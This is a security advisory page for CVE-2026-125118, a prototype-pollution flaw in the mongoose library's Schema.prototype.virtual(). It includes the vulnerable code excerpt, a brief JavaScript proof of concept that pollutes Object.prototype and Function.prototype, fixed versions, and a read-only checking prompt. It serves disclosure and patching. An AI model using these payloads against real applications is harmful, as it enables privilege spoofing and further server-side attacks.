# CVE-2026-125118: Mongoose: Prototype pollution via Schema.prototype.virtual()

- **Severity:** MEDIUM 6.5
- **CVSS:** 6.5 (v3.1, GitHub) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Privileges required: None; User interaction: None; Scope: Unchanged; Confidentiality impact: None; Integrity impact: Low; Availability impact: Low
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, no login needed
- **EPSS:** 0.64% (percentile 45, 2026-11-29)
- **CWE:** CWE-1321
- **Aliases:** GHSA-6972-9mcm-vhwj
- **Published:** 2026-11-10T20:46:33.000Z
- **Modified:** 2026-11-10T20:46:34.000Z

## Who should check

- Projects that depend on npm package mongoose (\< 6.13.12)

## Description

\#\#\# Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

\#\#\# Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

\`\`\`javascript
virtuals\[name\] = parts.reduce(function(mem, part, i) {
mem\[part\] \|\| (mem\[part\] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem\[part\];
}, this.tree); // lines 2755-2759
\`\`\`

Unlike \`path()\`/\`add()\`, \`virtual()\` never received the \`specialProperties\` check added for CVE-2022-2564/CVE-2022-24304 (\`lib/schema.js\` lines 806, 1308, 1331).

A path containing \`\_\_proto\_\_\`/\`constructor\`/\`prototype\` segments resolves through the prototype chain and writes onto \`Object.prototype\` / \`Function.prototype\`.

\#\#\# Proof of concept

\`\`\`javascript
const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('\_\_proto\_\_.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.\_\_proto\_\_.fpol');
console.log((function(){}).fpol); // Function.prototype polluted
\`\`\`

\#\#\# Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. \`({}).isAdmin\` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

## Affected and fixed versions

- npm `mongoose`: affected \< 6.13.12; fixed 6.13.12, 7.8.13, 8.24.7, 9.11.4 (ghsa)

## Technologies

npm packages

## Mitigation

- Upgrade mongoose to one of 6.13.12, 7.8.13, 8.24.7, 9.11.4 (or later in the same release line).

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-125118. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-125118.md
Affected: mongoose < 6.13.12
Fixed in: 6.13.12, 7.8.13, 8.24.7, 9.11.4

Steps:
1. Search this machine and project for mongoose (npm): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-125118 being exploited?

There is no confirmed exploitation: CVE-2026-125118 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.64% chance of exploitation in the next 30 days (as of 2026-11-29).

### How serious is CVE-2026-125118?

Medium: CVSS 6.5 (v3.1, scored by GitHub). Remote, no login needed.

### Which versions are affected by CVE-2026-125118?

mongoose \< 6.13.12.

### Is there a fix for CVE-2026-125118?

Yes. Fixed in 6.13.12, 7.8.13, 8.24.7, 9.11.4. Upgrade mongoose to one of 6.13.12, 7.8.13, 8.24.7, 9.11.4 (or later in the same release line).

### How do I check if I'm affected by CVE-2026-125118?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj>
- patch: <https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1>
- patch: <https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467>
- patch: <https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff>
- patch: <https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9>
- other: <https://nvd.nist.gov/vuln/detail/CVE-2026-125118>
- other: <https://github.com/Automattic/mongoose/releases/tag/6.13.12>
- other: <https://github.com/Automattic/mongoose/releases/tag/7.8.13>
- other: <https://github.com/Automattic/mongoose/releases/tag/8.24.7>
- other: <https://github.com/Automattic/mongoose/releases/tag/9.11.4>
- other: <https://github.com/advisories/GHSA-6972-9mcm-vhwj>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- GitHub Advisory Database: CC-BY 4.0 <https://github.com/advisories/GHSA-6972-9mcm-vhwj> (license: <https://creativecommons.org/licenses/by/4.0/>)
- FIRST EPSS: EPSS scores by FIRST <https://www.first.org/epss/>

HTML: <https://flawdb.com/CVE-2026-125118> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-125118>
